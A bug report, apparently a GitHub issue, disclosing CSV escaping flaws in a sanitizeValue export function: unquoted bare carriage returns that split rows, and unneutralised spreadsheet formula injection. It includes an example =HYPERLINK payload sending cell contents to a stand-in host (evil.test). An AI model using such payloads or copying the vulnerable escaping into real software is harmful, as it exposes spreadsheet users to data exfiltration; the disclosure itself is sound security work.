Skip to content

CSV export: bare \r splits rows and formula injection is unescaped in sanitizeValue #29843

Description

@DPS0340

Issue Summary

sanitizeValue() in packages/lib/csvUtils.ts — the function every CSV export runs its values through — has two escaping holes. Both are reachable with attacker-supplied text, because booking titles and attendee names come from whoever books the meeting, not from the person downloading the file.

export const sanitizeValue = (value: string) => {
  if (value.includes('"')) {
    return `"${value.replace(/"/g, '""')}"`;
  }
  if (value.includes(",") || value.includes("\n")) {
    return `"${value}"`;
  }
  return value;
};

1. A bare carriage return breaks the row structure

The newline check only looks for \n. RFC 4180 treats a lone \r as a record separator too, and so do real parsers. A value containing \r is emitted unquoted and splits the row.

Reproduced with Python's csv module (RFC 4180 compliant) on the exact output of objectsToCsv:

input rows: 2 data rows, 3 columns
parsed out:
  ['Booking UID', 'Title', 'Attendee name']
  ['abc', '=1+1', 'Alice']
  ['jkl', 'CR']            <- row split in half
  ['injected', 'Dan']      <- and every column after it is shifted
row count: 4   (expected 3)

Anyone who can set a booking title or attendee name to foo\rbar corrupts the org's exported spreadsheet from that row onward.

2. CSV formula injection (CWE-1236)

Values beginning with =, +, -, @, tab or CR are interpreted as formulas by Excel, LibreOffice and Google Sheets. sanitizeValue passes them through untouched:

Booking UID,Title,Attendee name
abc,=1+1,Alice
def,"=HYPERLINK(""https://evil.test?d=""&A1,""Click"")",Bob

The second row is quoted — because it happens to contain a quote character — and quoting does not stop formula evaluation; spreadsheet apps strip the quotes first. So a booking titled =HYPERLINK("https://evil.test?d="&A1,"Click") becomes a clickable link in an admin's downloaded sheet that exfiltrates neighbouring cell contents.

Where this is reachable from

  • apps/web/modules/bookings/components/BookingsCsvDownload.tsxtransformBookingToCsv() puts booking.title, attendee names, attendee emails and booking.location straight into the export. These are supplied by the person making the booking.
  • apps/web/modules/users/lib/UserListTableUtils.ts → the members export.

Separately, in generateCsvRawForMembersTable() the email, role and ${orgDomain}/${username} columns are concatenated without calling sanitizeValue at all, while the Teams and attribute columns do call it. That looks unintentional given the surrounding code.

Expected results

  • A value containing \r, \r\n or \n is quoted, so one field stays one field.
  • Values that a spreadsheet would evaluate as a formula are neutralised (the usual fix is prefixing a single quote or a tab, per OWASP).
  • Every column in the members export goes through the same escaping as its neighbours.

Reproduction

const sanitizeValue = (value) => {
  if (value.includes('"')) return `"${value.replace(/"/g, '""')}"`;
  if (value.includes(",") || value.includes("\n")) return `"${value}"`;
  return value;
};

sanitizeValue("a\rb");  // "a\rb"  — not quoted, splits the row
sanitizeValue("=1+1");  // "=1+1"  — evaluated by Excel/Sheets

csvUtils.ts currently has no test file.

I have a fix ready and will open a PR referencing this issue.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions